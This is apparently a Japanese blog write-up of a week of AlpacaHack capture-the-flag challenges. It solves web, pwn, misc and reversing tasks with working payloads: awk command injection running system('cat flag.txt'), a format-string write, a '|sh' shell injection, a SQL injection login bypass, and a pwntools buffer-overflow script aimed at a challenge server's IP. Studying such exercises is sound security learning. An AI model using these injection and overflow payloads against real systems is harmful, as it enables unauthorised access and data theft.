# Daily AlpacaHack Week 4 (2025-12-22 〜 2025-12-27)
## 12/22: Log Viewer (Web, Medium)
app.pyを見てみると,クエリを入力しawkコマンドへ渡している.
```py
command = ["awk", f"/{query}/", "info.log"]
result = subprocess.run(
command,
capture_output=True,
timeout=0.5,
text=True,
)
```
実際のコマンドは`awk "/{query}/" info.log`のような感じで,ユーザ入力のまま直接埋め込まれている.
`timeout=0.5`となっているので,処理に時間のかかるようなクエリは通らない.
クエリ前後の`/`を配慮してosコマンドが実行できないか考えた.
- 基本文法は`/正規表現/ { アクション }`.`;`区切りで複数記述できる.
- `BEGIN/END {アクション}`とすると,処理の最初/最後の一度のみ動作する.
- ビルトイン関数に外部コマンドを実行する`system`がある.
実行したクエリは以下.
`/{}; BEGIN { system("cat flag.txt") }; /dummy`
## 12/23: Rotten Beef (Pwn, Medium)
```c
char buffer[12];
printf("input > ");
scanf("%11s", buffer);
printf("Your input: ");
printf(buffer, &key, &dummy);
```
- `scanf("%11s", buffer)`のため入力は11文字まで.
- `printf(buffer, &key, &dummy)`では入力をそのままのため,FSBが使える.
目標は`key`の値を`0xdead`から`0xbeef(48879)`に書き換えること.
実行したペイロードは以下.
`%48879c%1$n`
## 12/24: cat3 (Misc, Medium)
catコマンドの引数として入力できるが,3文字までという制限がある.
シェルは`sh`で呼ぶとして,残り一文字をどうするか.
とりあえずパイプしたところ通った.
入力値は以下.
`|sh`
## 12/25: Xmas Login (Web, Easy)
userを確認する.
```py
if user[0] == "alpaca":
return f"Hello, alpaca! Here is your flag: {FLAG_1}"
elif user[0] == "reindeer":
return f"Hello, reindeer! Here is your flag: {FLAG_2}"
elif user[0] == "santa_claus_admin":
return f"Hello, santa_claus_admin! Here is your flag: {FLAG_3}"
```
user毎にフラグが分割されているので,3回に分けて入手する必要あり.
条件として`len(username) > 12 or len(password) > 48`となっている.
"santa_claus_admin"自体が18文字のため,Usernameはダミーを入力し,Passowrd欄でSQLiを検討する.
入力は次のようにした.
- Username: `dummy`
- Password: `' OR username = '<ここにuser>' ;-- -`
## 12/26: Useful Machine (Rev, Hard)
AIに聞きつつ方針を模索した.
対応するopecodeについて整理していく.
```py
if opcode == 0: # Input
ch = self._read_input_char()
self.mem[oprand1] = ord(ch) % 256
elif opcode == 1: # Immediate
self.mem[oprand1] = oprand2
elif opcode == 2: # Move
self.mem[oprand1] = self.mem[oprand2]
elif opcode == 3: # Add
self.mem[oprand1] = (self.mem[oprand1] + self.mem[oprand2]) % 256
elif opcode == 4: # Mul
self.mem[oprand1] = (self.mem[oprand1] * self.mem[oprand2]) % 256
elif opcode == 5: # XOR
self.mem[oprand1] = self.mem[oprand1] ^ self.mem[oprand2]
elif opcode == 6: # NOT
self.mem[oprand1] = 0 if self.mem[oprand1] != 0 else 1
```
Input命令を数え,フラグ長を調べる.
```sh
$ hexdump -v -e '3/1 "%02x " "\n"' program > hexdump.txt
$ grep -cE "^00" hexdump.txt
40
```
最初は前から1文字ずつ確定させようと考えたが,うまく行かなかった.
Z3を使って`mem[0] == 0`を逆算する方針とした.
```py
import z3
def solve():
with open("program", "rb") as f:
code = f.read()
FLAG_LEN = 40
s = z3.Solver()
# メモリをシンボリック変数(BitVecVal初期値0)で初期化
mem = [z3.BitVecVal(0, 8) for _ in range(256)]
# 入力用のシンボリック変数
input_chars = [z3.BitVec(f"input_{i}", 8) for i in range(FLAG_LEN)]
input_idx = 0
ip = 0
length = len(code)
while ip < length:
if ip + 2 >= length: break
opcode = code[ip]
op1 = code[ip + 1]
op2 = code[ip + 2]
ip += 3
if opcode == 0: # INPUT
mem[op1] = input_chars[input_idx]
# ASCII範囲制約
s.add(input_chars[input_idx] >= 0x20)
s.add(input_chars[input_idx] <= 0x7e)
input_idx += 1
elif opcode == 1: # IMM
mem[op1] = z3.BitVecVal(op2, 8)
elif opcode == 2: # MOV
mem[op1] = mem[op2]
elif opcode == 3: # ADD
mem[op1] = mem[op1] + mem[op2]
elif opcode == 4: # MUL
mem[op1] = mem[op1] * mem[op2]
elif opcode == 5: # XOR
mem[op1] = mem[op1] ^ mem[op2]
elif opcode == 6: # NOT
mem[op1] = z3.If(mem[op1] == 0, z3.BitVecVal(1, 8), z3.BitVecVal(0, 8))
s.add(mem[0] == 0)
if s.check() == z3.sat:
m = s.model()
flag = "".join([chr(m[input_chars[i]].as_long()) for i in range(input_idx)])
print(f"Flag: {flag}")
else:
print("UNSAT")
if __name__ == "__main__":
solve()
```
## 12/27: simpleoverwrite (Pwn, Medium)
`main`関数を見ると,
- `char buf[10] = {0};`:スタック上に **10バイト**
- `read(0, buf, 0x20);`:ユーザー入力から **32バイト**
確保されたサイズ以上にデータを書き込めるため,スタックバッファオーバーフローとなる.
以下,solver.
```py
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
exe = ELF('./chall')
win_addr = exe.symbols['win']
info(f"win_addr: {hex(win_addr)}")
padding = b'A' * 18
payload = padding + p64(win_addr)
# p = process('./chall')
# nc 34.170.146.252 59419
p = remote("34.170.146.252", 59419)
p.send(payload)
print(p.recvall())
```
## 12/28: cha-ll-enge (Rev, Medium)
ELFバイナリではなくLLVM IR(中間表現)で記述されている.
AIに解説してもらった.
- **シンボル (`@` と `%`)**
- `@`: グローバル変数や関数 (`@main`, `@__const.main.key` など)。
- `%`: ローカル変数やレジスタ (`%1`, `%2` など)。一度しか代入できないSSA (Static Single Assignment) という性質を持つ。
- **メモリ操作 (`alloca`, `load`, `store`)**
- `alloca`: スタックにメモリを確保 (C言語のローカル変数宣言)。
- `store`: メモリに値を書き込む (代入)。
- `load`: メモリから値を読み出す。
- **配列アクセス (`getelementptr`)**
- `getelementptr` (GEP) は、配列や構造体の要素のアドレスを計算するための命令。「`array[i]`のアドレスを計算する」といった処理に使われる。
- **制御フロー (`icmp`, `br`)**
- `icmp`: 整数を比較する (if文の条件など)。
- `br`: 比較結果に基づいて分岐 (if文やforループのジャンプ)。
実際に確認してみる.
- `@__const.main.key` という名前で50個の32ビット整数からなるグローバル定数配列が定義されており,これが鍵配列となる.
- `strlen` でユーザー入力の長さを取得し、**49文字**であるかチェック
```llvm
%12 = call i64 @strlen(i8* noundef %11)
%13 = icmp eq i64 %12, 49
br i1 %13, label %14, label %48
```
- 検証ループ箇所
```llvm
; input[i] ^ key[i]
%26 = xor i32 %22, %25
; (input[i] ^ key[i]) ^ key[i+1]
%31 = xor i32 %26, %30
; 結果が0かどうかをチェック
%33 = icmp eq i32 %32, 0
```
方針としては,すべての入力で`(input[i] ^ key[i]) ^ key[i+1]`を満たせば良い.
```py
# LLVM IRコード内の @__const.main.key 配列データ
keys = [
119, 20, 96, 6, 50, 80, 43, 28, 117, 22,
125, 34, 21, 116, 23, 124, 35, 18, 35, 85,
56, 103, 14, 96, 20, 39, 85, 56, 93, 57,
8, 60, 72, 45, 114, 0, 101, 21, 103, 84,
39, 66, 44, 27, 122, 77, 36, 20, 122, 7
]
flag = ""
# input[i] = key[i] ^ key[i+1] を計算
for i in range(49):
char_code = keys[i] ^ keys[i+1]
flag += chr(char_code)
print(f"FLAG: {flag}")
```
## 感想
今週はコマンド・シェル・SQLiについてはすんなり解けた印象.
一方でREV系はAIに助けられながら雰囲気で追ってしまったところも多いので,
少しずつ自分で命令セットや「入力をどう変換・チェックしているか」の流れを読めるようになりたい.